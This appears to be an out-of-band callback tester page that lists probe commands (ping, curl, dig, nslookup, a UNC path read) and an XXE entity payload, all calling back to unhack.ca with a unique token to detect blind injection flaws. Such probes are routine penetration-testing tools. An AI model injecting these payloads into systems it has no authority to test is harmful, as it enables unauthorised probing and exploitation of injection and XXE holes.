$ ping -c1 -p 00a3732388e00afdb778f31d8391a800 unhack.ca
$ curl http://unhack.ca/p/a3732388e00afdb778f31d8391a8
$ dig a3732388e00afdb778f31d8391a8 @unhack.ca
$ dig a3732388e00afdb778f31d8391a8.ns.unhack.ca
C:\> nslookup a3732388e00afdb778f31d8391a8 unhack.ca
C:\> type \\unhack.ca\a3732388e00afdb778f31d8391a8\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/a3732388e00afdb778f31d8391a8">]>
<foo>&xxe;</foo>
Waiting for ping...